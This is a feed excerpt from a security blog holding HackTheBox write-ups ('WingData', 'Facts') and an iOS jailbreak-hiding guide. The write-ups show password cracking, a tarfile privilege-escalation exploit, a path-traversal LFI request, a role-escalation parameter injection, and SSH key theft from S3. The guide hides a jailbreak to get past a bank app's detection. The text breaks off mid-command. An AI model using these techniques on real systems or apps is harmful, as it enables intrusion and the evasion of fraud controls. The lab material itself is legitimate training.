operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span>* Device <span class="token comment">#1: cpu-skylake-avx512-AMD Ryzen 7 8745HS w/ Radeon 780M Graphics, 14630/29324 MB (4096 MB allocatable), 16MCU</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>Dictionary cache hit:* Filename<span class="token punctuation">..</span>: /opt/secLists/rockyou.txt* Passwords.: <span class="token number">14344384</span>* Bytes<span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">139921497</span>* Keyspace<span class="token punctuation">..</span>: <span class="token number">14344384</span>Approaching final keyspace - workload adjusted.           32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:<span class="token operator">!</span><span class="token comment">#7Bxxxxxxxxxxxxxxxxxride5</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>                                                        </code></pre><h3 id="SSH"><a href="#SSH" class="headerlink" title="SSH"></a>SSH</h3><p>使用破解出的密码登录ssh</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">ssh</span> wacky@wingdata.htb                   The authenticity of <span class="token function">host</span> <span class="token string">'wingdata.htb (10.129.17.131)'</span> can't be established.<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>Last login: Fri Apr <span class="token number">10</span> 09:05:47 <span class="token number">2026</span> from <span class="token number">10.10</span>.16.49wacky@wingdata:~$ <span class="token function">ls</span>user.txt</code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>sudo -l 发现python 备份脚本，其中tarfile 库存在漏洞</p><pre class="language-bash" data-language="bash"><code class="language-bash">wacky@wingdata:~$ <span class="token function">sudo</span> <span class="token parameter variable">-l</span>Matching Defaults entries <span class="token keyword">for</span> wacky on wingdata:    env_reset, mail_badpass, <span class="token assign-left variable">secure_path</span><span class="token operator">=</span>/usr/local/sbin<span class="token punctuation">\</span>:/usr/local/bin<span class="token punctuation">\</span>:/usr/sbin<span class="token punctuation">\</span>:/usr/bin<span class="token punctuation">\</span>:/sbin<span class="token punctuation">\</span>:/bin, use_ptyUser wacky may run the following commands on wingdata:    <span class="token punctuation">(</span>root<span class="token punctuation">)</span> NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *</code></pre><img src="/posts/1888ae71/image-20260410212410811.png" class="" title="image-20260410212410811"><p>检索到漏洞利用脚本<a href="https://github.com/AzureADTrent/CVE-2025-4517-POC">https://github.com/AzureADTrent/CVE-2025-4517-POC</a> 上传到目标机器，运行可直接提权</p><pre class="language-bash" data-language="bash"><code class="language-bash">wacky@wingdata:/tmp$ python3 CVE-2025-4517-POC.py ╔═══════════════════════════════════════════════════════════╗║     CVE-2025-4517 Tarfile Exploit                         ║║     Privilege Escalation via Symlink + Hardlink Bypass    ║╚═══════════════════════════════════════════════════════════╝    <span class="token punctuation">[</span>*<span class="token punctuation">]</span> Target user: wacky<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Creating exploit <span class="token function">tar</span> <span class="token keyword">for</span> user: wacky<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Phase <span class="token number">1</span>: Building nested directory structure<span class="token punctuation">..</span>.<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Phase <span class="token number">2</span>: Creating symlink chain <span class="token keyword">for</span> path traversal<span class="token punctuation">..</span>.<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Phase <span class="token number">3</span>: Creating escape symlink to /etc<span class="token punctuation">..</span>.<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Phase <span class="token number">4</span>: Creating hardlink to /etc/sudoers<span class="token punctuation">..</span>.<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Phase <span class="token number">5</span>: Writing sudoers entry<span class="token punctuation">..</span>.<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Exploit <span class="token function">tar</span> created: /tmp/cve_2025_4517_exploit.tar<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Exploit deployed successfully<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Triggering extraction via vulnerable script<span class="token punctuation">..</span>.<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Backup: backup_9999.tar<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Extraction completed <span class="token keyword">in</span> /opt/backup_clients/restored_backups/restore_pwn_9999<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Extraction completed<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Verifying exploit success<span class="token punctuation">..</span>.<span class="token punctuation">[</span>+<span class="token punctuation">]</span> SUCCESS<span class="token operator">!</span> User <span class="token string">'wacky'</span> added to sudoers<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Entry: wacky <span class="token assign-left variable">ALL</span><span class="token operator">=</span><span class="token punctuation">(</span>ALL<span class="token punctuation">)</span> NOPASSWD: ALL<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token punctuation">[</span>+<span class="token punctuation">]</span> EXPLOITATION SUCCESSFUL<span class="token operator">!</span><span class="token punctuation">[</span>+<span class="token punctuation">]</span> User <span class="token string">'wacky'</span> now has full <span class="token function">sudo</span> privileges<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Get root with: <span class="token function">sudo</span> /bin/bash<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token punctuation">[</span>?<span class="token punctuation">]</span> Spawn root shell now? <span class="token punctuation">(</span>y/n<span class="token punctuation">)</span>: y<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Spawning root shell<span class="token punctuation">..</span>.<span class="token punctuation">[</span>*<span class="token punctuation">]</span> Run: <span class="token function">sudo</span> /bin/bashbash: warning: setlocale: <span class="token environment constant">LC_ALL</span><span class="token builtin class-name">:</span> cannot change locale <span class="token punctuation">(</span>zh_CN.UTF-8<span class="token punctuation">)</span>root@wingdata:/tmp<span class="token comment"># id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span></code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>flag1</td><td>&#x2F;home&#x2F;wacky&#x2F;user.txt</td></tr><tr><td>flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.pfbnbkdvnbsn{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/1888ae71/d419202507a3bbf06e764c1c4a524f66.png&quot; class=&quot;pfbnbkdvnbsn&quot; alt=&quot;htb-wingdata&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="CVE" scheme="https://ry0ma24.github.io/tags/CVE/"/>
    
    <category term="RCE" scheme="https://ry0ma24.github.io/tags/RCE/"/>
    
  </entry>
  
  <entry>
    <title>iOS越狱隐藏</title>
    <link href="https://ry0ma24.github.io/posts/6d3db75c.html"/>
    <id>https://ry0ma24.github.io/posts/6d3db75c.html</id>
    <published>2026-04-10T07:12:00.000Z</published>
    <updated>2026-04-10T07:26:11.021Z</updated>
    
    <content type="html"><![CDATA[<style>.iwhubrlyifqg{zoom:50%;}</style><img src="/posts/6d3db75c/image-20260410151632410.png" class="iwhubrlyifqg" alt="越狱"><span id="more"></span><h3 id="安装GTA-Car-Tracker"><a href="#安装GTA-Car-Tracker" class="headerlink" title="安装GTA Car Tracker"></a>安装GTA Car Tracker</h3><p>使用safari浏览器访问 <a href="https://api.jailbreaks.app/troll64e">https://api.jailbreaks.app/troll64e</a> ，弹出iTunes 打开，点击打开，选择安装</p><style>.xkwopxdlnebi{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0003-0270768.PNG" class="xkwopxdlnebi" alt="IMG_0003"><style>.kvfojkxpcpod{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0004.PNG" class="kvfojkxpcpod" alt="IMG_0004"><style>.flgyhwhficun{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0005.PNG" class="flgyhwhficun" alt="IMG_0005"><style>.xflrftxmkgls{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0006.PNG" class="xflrftxmkgls" alt="IMG_0006"><h3 id="安装TrollStore"><a href="#安装TrollStore" class="headerlink" title="安装TrollStore"></a>安装TrollStore</h3><p>打开GTA Car Tracker 安装 TrollStore</p><style>.wgshrihiouzq{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0007.PNG" class="wgshrihiouzq" alt="IMG_0007"><style>.kwzgpwxhskic{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0008.PNG" class="kwzgpwxhskic" alt="IMG_0008"><p>打开TrollStore 安装Idid，Persistence Helper (可选，安装后重启TrollStore不失效) </p><style>.jwusxeyqxaih{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0010.PNG" class="jwusxeyqxaih" alt="IMG_0010">  <h3 id="安装RootHide-Dopamine"><a href="#安装RootHide-Dopamine" class="headerlink" title="安装RootHide Dopamine"></a>安装RootHide Dopamine</h3><p>访问 <a href="https://github.com/roothide/Dopamine2-roothide">https://github.com/roothide/Dopamine2-roothide</a> 下载最新版的    Dopamine.tipa  放到iPhone 的Download 目录下然后使用TrollStore安装；打开TrollStore，右上角 “+” ，选中要安装的Dopamine.tipa ，然后安装</p><style>.iaunyfrkjnhi{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0011.PNG" class="iaunyfrkjnhi" alt="IMG_0011"> <h3 id="越狱和隐藏越狱"><a href="#越狱和隐藏越狱" class="headerlink" title="越狱和隐藏越狱"></a>越狱和隐藏越狱</h3><p>打开Dopamine，然后点击最下面越狱，选择安装Sileo或者全选，越狱完成，桌面会出现RootHide (如果没有可以到Sileo 里搜索安装)</p><style>.ueftxoahrggp{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0012.PNG" class="ueftxoahrggp" alt="IMG_0012"><style>.blpbpqeejhob{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0013.PNG" class="blpbpqeejhob" alt="IMG_0013"><p>打开RootHide，点击var 清理，左上角选择全部，点击右上角清理</p><style>.nxqreacnmutv{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0014.PNG" class="nxqreacnmutv" alt="IMG_0014"> <h3 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h3><p>重新下载安装app，并将app 加入黑名单；使用某银行app测试效果；</p><h4 id="未打开黑名单无法正常使用-app"><a href="#未打开黑名单无法正常使用-app" class="headerlink" title="未打开黑名单无法正常使用 app"></a>未打开黑名单无法正常使用 app</h4><style>.cttlyjlaxwym{zoom: 37%;}</style><img src="/posts/6d3db75c/image-20260205144231485.png" class="cttlyjlaxwym" alt="image-20260205144231485"><style>.gklhcpyyguhw{zoom:25%;}</style><img src="/posts/6d3db75c/IMG_0017.PNG" class="gklhcpyyguhw" alt="IMG_0017"><h4 id="打开黑名单后app正常"><a href="#打开黑名单后app正常" class="headerlink" title="打开黑名单后app正常"></a>打开黑名单后app正常</h4><style>.brmumpvjtskx{zoom: 37%;}</style><img src="/posts/6d3db75c/image-20260205144409713.png" class="brmumpvjtskx" alt="image-20260205144409713"><style>.hkahtnlmncut{zoom: 25%;}</style><img src="/posts/6d3db75c/IMG_0019.PNG" class="hkahtnlmncut" alt="IMG_0019">]]></content>
    
    
    <summary type="html">&lt;style&gt;.iwhubrlyifqg{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/6d3db75c/image-20260410151632410.png&quot; class=&quot;iwhubrlyifqg&quot; alt=&quot;越狱&quot;&gt;</summary>
    
    
    
    <category term="移动端安全" scheme="https://ry0ma24.github.io/categories/%E7%A7%BB%E5%8A%A8%E7%AB%AF%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="越狱" scheme="https://ry0ma24.github.io/tags/%E8%B6%8A%E7%8B%B1/"/>
    
    <category term="bypass" scheme="https://ry0ma24.github.io/tags/bypass/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Facts</title>
    <link href="https://ry0ma24.github.io/posts/a66eeeb7.html"/>
    <id>https://ry0ma24.github.io/posts/a66eeeb7.html</id>
    <published>2026-04-09T05:49:00.000Z</published>
    <updated>2026-04-10T06:47:10.481Z</updated>
    
    <content type="html"><![CDATA[<style>.zngyoikexpri{zoom:50%;}</style><img src="/posts/a66eeeb7/bdcd209c32f156fbfb2268f099971f75.png" class="zngyoikexpri" alt="HTB-facts"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.129</span>.16.180 <span class="token parameter variable">-sV</span> <span class="token parameter variable">-Pn</span>     Starting Nmap <span class="token number">7</span>.94SVN <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2026</span>-04-09 <span class="token number">13</span>:42 CSTNmap scan report <span class="token keyword">for</span> <span class="token number">10.129</span>.16.180Host is up <span class="token punctuation">(</span><span class="token number">0</span>.13s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">997</span> closed tcp ports <span class="token punctuation">(</span>conn-refused<span class="token punctuation">)</span>PORT   STATE SERVICE VERSION<span class="token number">22</span>/tcp <span class="token function">open</span>  <span class="token function">ssh</span>     OpenSSH <span class="token number">9</span>.9p1 Ubuntu 3ubuntu3.2 <span class="token punctuation">(</span>Ubuntu Linux<span class="token punctuation">;</span> protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token number">53</span>/tcp <span class="token function">open</span>  domain  Unbound<span class="token number">80</span>/tcp <span class="token function">open</span>  http    nginx <span class="token number">1.26</span>.3 <span class="token punctuation">(</span>Ubuntu<span class="token punctuation">)</span>Service Info: OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">27.51</span> seconds</code></pre><p>添加本地解析</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.129.16.180 facts.htb'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts </code></pre><h3 id="FFUF-Scan"><a href="#FFUF-Scan" class="headerlink" title="FFUF Scan"></a>FFUF Scan</h3><p>枚举目录，发现admin </p><pre class="language-bash" data-language="bash"><code class="language-bash">$ ffuf <span class="token parameter variable">-w</span> /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ <span class="token parameter variable">-u</span> <span class="token string">'http://facts.htb/FUZZ'</span> <span class="token parameter variable">-ic</span> <span class="token parameter variable">-t</span> <span class="token number">100</span>         /<span class="token string">'___\  /'</span>___<span class="token punctuation">\</span>           /'___<span class="token punctuation">\</span>              /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/ /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/  __  __  /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/              <span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span><span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span>/<span class="token punctuation">\</span> <span class="token punctuation">\</span>/<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span>              <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/ <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/               <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>   <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>  <span class="token punctuation">\</span> <span class="token punctuation">\</span>____/  <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>                 <span class="token punctuation">\</span>/_/    <span class="token punctuation">\</span>/_/   <span class="token punctuation">\</span>/___/    <span class="token punctuation">\</span>/_/              v2.1.0-dev________________________________________________ :: Method           <span class="token builtin class-name">:</span> GET :: URL              <span class="token builtin class-name">:</span> http://facts.htb/FUZZ :: Wordlist         <span class="token builtin class-name">:</span> FUZZ: /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt :: Follow redirects <span class="token builtin class-name">:</span> <span class="token boolean">false</span> :: Calibration      <span class="token builtin class-name">:</span> <span class="token boolean">false</span> :: Timeout          <span class="token builtin class-name">:</span> <span class="token number">10</span> :: Threads          <span class="token builtin class-name">:</span> <span class="token number">100</span> :: Matcher          <span class="token builtin class-name">:</span> Response status: <span class="token number">200</span>-299,301,302,307,401,403,405,500________________________________________________index                   <span class="token punctuation">[</span>Status: <span class="token number">200</span>, Size: <span class="token number">11113</span>, Words: <span class="token number">1328</span>, Lines: <span class="token number">125</span>, Duration: 422ms<span class="token punctuation">]</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>admin                   <span class="token punctuation">[</span>Status: <span class="token number">302</span>, Size: <span class="token number">0</span>, Words: <span class="token number">1</span>, Lines: <span class="token number">1</span>, Duration: 4170ms<span class="token punctuation">]</span>post                    <span class="token punctuation">[</span>Status: <span class="token number">200</span>, Size: <span class="token number">11308</span>, Words: <span class="token number">1414</span>, Lines: <span class="token number">152</span>, Duration: 7738ms<span class="token punctuation">]</span>ajax                    <span class="token punctuation">[</span>Status: <span class="token number">200</span>, Size: <span class="token number">0</span>, Words: <span class="token number">1</span>, Lines: <span class="token number">1</span>, Duration: 4216ms<span class="token punctuation">]</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span></code></pre><p>访问admin 发现后台</p><img src="/posts/a66eeeb7/image-20260409135635326.png" class="" title="后台"><p>注册账号试试，发现可以注册并且登录</p><img src="/posts/a66eeeb7/image-20260409135832986.png" class="" title="注册"><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>登录后台可以找到cms 信息和版本，根据信息检索到 <a href="https://github.com/afifudinmtop/Camaleon-CMS-2.9.0-Vuln">https://github.com/afifudinmtop/Camaleon-CMS-2.9.0-Vuln</a> 有两个CVE CVE-2025-2304和CVE-2024-46987 </p><img src="/posts/a66eeeb7/image-20260409140026432.png" class="" title="image-20260409140026432"><h3 id="LFI-CVE-2024-46987"><a href="#LFI-CVE-2024-46987" class="headerlink" title="LFI (CVE-2024-46987 )"></a>LFI (CVE-2024-46987 )</h3><p>使用burp 请求 <code>admin/media/download_private_file?file=../../../../../../etc/passwd</code>可以获取到&#x2F;etc&#x2F;passwd，通过LFI可以直接读取flag</p><img src="/posts/a66eeeb7/image-20260409141045188.png" class="" title="LFI"><img src="/posts/a66eeeb7/image-20260409140852202.png" class="" title="flag"><h3 id="权限提升-CVE-CVE-2025-2304"><a href="#权限提升-CVE-CVE-2025-2304" class="headerlink" title="权限提升(CVE CVE-2025-2304)"></a>权限提升(CVE CVE-2025-2304)</h3><p>点击”Change Password”, 输入新密码，抓包，添加<code>&amp;password[role]=admin</code> ，之后刷新页面，可以看到提升到管理员后台</p><img src="/posts/a66eeeb7/image-20260409141918732.png" class="" title="提权"><img src="/posts/a66eeeb7/image-20260409142148020.png" class="" title="提权"><img src="/posts/a66eeeb7/image-20260409142230901.png" class="" title="管理员后台"><p>在后台配置中可以找到AWS 的密钥配置</p><img src="/posts/a66eeeb7/image-20260409142740630.png" class="" title="aws"><h3 id="SSH-登录"><a href="#SSH-登录" class="headerlink" title="SSH 登录"></a>SSH 登录</h3><p>安装aws   <code>curl &quot;https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip&quot; -o &quot;awscliv2.zip&quot;</code>   </p><p>配置aws 并连接，在.ssh 目录下可以获取到 id_ed25519</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ aws configure                                                             Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the <span class="token builtin class-name">command</span> <span class="token string">'aws login'</span><span class="token builtin class-name">.</span>AWS Access Key ID <span class="token punctuation">[</span>None<span class="token punctuation">]</span>: AKIA9<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>FAD15D5AWS Secret Access Key <span class="token punctuation">[</span>None<span class="token punctuation">]</span>: ZrwidjEG<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>y5v1gCextPZRLWUDefault region name <span class="token punctuation">[</span>None<span class="token punctuation">]</span>: us-east-1Default output <span class="token function">format</span> <span class="token punctuation">[</span>None<span class="token punctuation">]</span>: $ aws s3 <span class="token function">ls</span> --endpoint-url http://facts.htb:54321                          <span class="token number">2025</span>-09-11 <span class="token number">20</span>:06:52 internal<span class="token number">2025</span>-09-11 <span class="token number">20</span>:06:52 randomfacts$ aws s3 <span class="token function">ls</span> s3://internal/ --endpoint-url http://facts.htb:54321                             PRE .bundle/                           PRE .cache/                           PRE .ssh/<span class="token number">2026</span>-01-09 02:45:13        <span class="token number">220</span> .bash_logout<span class="token number">2026</span>-01-09 02:45:13       <span class="token number">3900</span> .bashrc<span class="token number">2026</span>-01-09 02:47:17         <span class="token number">20</span> .lesshst<span class="token number">2026</span>-01-09 02:47:17        <span class="token number">807</span> .profile$ aws s3 <span class="token function">ls</span> s3://internal/.ssh/ --endpoint-url http://facts.htb:54321  <span class="token number">2026</span>-04-09 <span class="token number">13</span>:40:07         <span class="token number">82</span> authorized_keys<span class="token number">2026</span>-04-09 <span class="token number">13</span>:40:07        <span class="token number">464</span> id_ed25519$ aws s3 <span class="token function">cp</span> s3://internal/.ssh/id_ed25519 --endpoint-url http://facts.htb:54321 ./id_ed25519 download: s3://internal/.ssh/id_ed25519 to ./id_ed25519             </code></pre><p>使用john 破解id_ed25519 并使用trivia 账号登录成功，trivia账号在&#x2F;etc&#x2F;passwd 文件中获取</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token variable">$python3</span> ssh2john.py id_ed25519 ssh.hash$./john <span class="token parameter variable">--wordlist</span><span class="token operator">=</span>/opt/secLists/rockyou.txt ssh.hash Using default input encoding: UTF-8Loaded <span class="token number">1</span> password <span class="token builtin class-name">hash</span> <span class="token punctuation">(</span>SSH, SSH private key <span class="token punctuation">[</span>MD5/bcrypt-pbkdf/<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>DES/AES <span class="token number">32</span>/64<span class="token punctuation">]</span><span class="token punctuation">)</span>Cost <span class="token number">1</span> <span class="token punctuation">(</span>KDF/cipher <span class="token punctuation">[</span><span class="token number">0</span>:MD5/AES <span class="token number">1</span>:MD5/<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>DES <span class="token number">2</span>:bcrypt-pbkdf/AES<span class="token punctuation">]</span><span class="token punctuation">)</span> is <span class="token number">2</span> <span class="token keyword">for</span> all loaded hashesCost <span class="token number">2</span> <span class="token punctuation">(</span>iteration count<span class="token punctuation">)</span> is <span class="token number">24</span> <span class="token keyword">for</span> all loaded hashesWill run <span class="token number">16</span> OpenMP threadsPress <span class="token string">'q'</span> or Ctrl-C to abort, <span class="token string">'h'</span> <span class="token keyword">for</span> help, almost any other key <span class="token keyword">for</span> statusdragonballz      <span class="token punctuation">(</span>id_ed25519<span class="token punctuation">)</span>     1g <span class="token number">0</span>:00:00:30 DONE <span class="token punctuation">(</span><span class="token number">2026</span>-04-09 <span class="token number">15</span>:22<span class="token punctuation">)</span> <span class="token number">0</span>.03327g/s <span class="token number">106</span>.5p/s <span class="token number">106</span>.5c/s <span class="token number">106</span>.5C/s adriano<span class="token punctuation">..</span>imissuUse the <span class="token string">"--show"</span> option to display all of the cracked passwords reliablySession completed$ <span class="token function">chmod</span> <span class="token number">600</span> id_ed25519                                                                                      $ <span class="token function">ssh</span> <span class="token parameter variable">-i</span> id_ed25519 trivia@facts.htb Enter passphrase <span class="token keyword">for</span> key <span class="token string">'id_ed25519'</span><span class="token builtin class-name">:</span> </code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>sudo -l 发现facter，通过检索 <a href="https://gtfobins.org/gtfobins/facter/">https://gtfobins.org/gtfobins/facter/</a> 发现目录底下第一个ruby 文件会被执行</p><pre class="language-bash" data-language="bash"><code class="language-bash">trivia@facts:~$ <span class="token function">sudo</span> <span class="token parameter variable">-l</span>Matching Defaults entries <span class="token keyword">for</span> trivia on facts:    env_reset, mail_badpass,    <span class="token assign-left variable">secure_path</span><span class="token operator">=</span>/usr/local/sbin<span class="token punctuation">\</span>:/usr/local/bin<span class="token punctuation">\</span>:/usr/sbin<span class="token punctuation">\</span>:/usr/bin<span class="token punctuation">\</span>:/sbin<span class="token punctuation">\</span>:/bin<span class="token punctuation">\</span>:/snap/bin, use_ptyUser trivia may run the following commands on facts:    <span class="token punctuation">(</span>ALL<span class="token punctuation">)</span> NOPASSWD: /usr/bin/factertrivia@facts:~$ /usr/bin/facter <span class="token parameter variable">-h</span>Usage<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">=</span>  facter <span class="token punctuation">[</span>options<span class="token punctuation">]</span> <span class="token punctuation">[</span>query<span class="token punctuation">]</span> <span class="token punctuation">[</span>query<span class="token punctuation">]</span> <span class="token punctuation">[</span><span class="token punctuation">..</span>.<span class="token punctuation">]</span>Options<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">=</span>           <span class="token punctuation">[</span>--color<span class="token punctuation">]</span>                      Enable color output.           <span class="token punctuation">[</span>--no-color<span class="token punctuation">]</span>                   Disable color output.        <span class="token parameter variable">-c</span> <span class="token punctuation">[</span>--config<span class="token punctuation">]</span>                     The location of the config file.           <span class="token punctuation">[</span>--custom-dir<span class="token punctuation">]</span>                 A directory to use <span class="token keyword">for</span> custom facts.        <span class="token parameter variable">-d</span> <span class="token punctuation">[</span>--debug<span class="token punctuation">]</span>                      Enable debug output.           <span class="token punctuation">[</span>--external-dir<span class="token punctuation">]</span>               A directory to use <span class="token keyword">for</span> external facts.           <span class="token punctuation">[</span>--hocon<span class="token punctuation">]</span>                      Output <span class="token keyword">in</span> Hocon format.      <span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>        <span class="token parameter variable">-h</span> <span class="token punctuation">[</span>--help<span class="token punctuation">]</span>                       Help <span class="token keyword">for</span> all argumentstrivia@facts:~$  <span class="token function">mkdir</span> <span class="token parameter variable">-p</span> /tmp/exploittrivia@facts:~$  <span class="token builtin class-name">cd</span> /tmp/exploit/trivia@facts:/tmp/exploit$ <span class="token function">cat</span> <span class="token operator">></span> /tmp/exploit_facts/exp.rb <span class="token 